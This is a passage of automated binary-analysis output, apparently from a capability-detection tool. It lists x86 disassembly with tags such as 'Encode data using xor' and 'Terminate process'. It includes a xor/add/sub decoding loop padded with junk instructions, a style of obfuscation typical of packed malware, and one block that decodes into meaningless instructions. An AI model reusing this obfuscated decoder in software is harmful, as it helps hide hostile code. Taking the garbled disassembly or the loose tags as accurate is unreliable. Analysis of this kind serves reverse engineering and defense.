xor ebx, ebx
add byte [edi], 0x75
xor esi, ebx
xor eax, esi
xor esi, ebx
mov eax, ebx
mov ebx, eax
mov esi, ebx
mov esi, esi
mov esi, ebx
mov ebx, esi
sub byte [edi], 0x25
mov esi, esi
xor eax, eax
mov eax, eax
xor eax, esi
xor esi, ebx
xor eax, ebx
xor eax, ebx
xor eax, esi
mov eax, ebx
imul byte [edi]
inc edi
loop 0x4013b9
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x401450
Capabilities:
Encode data using xor

Disassembly:
cli
les esp, [ebx - 0x32]
arpl word [edi], di
dec esi
dec edi
dec edi
cld
stc
clc
fisttp dword [edx - 0x26]
dec esp
xchg edi, eax
invalid

Function at 0x4064ed
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x464fb8]
jne 0x4064f7
repz ret
jmp fcn.0040875c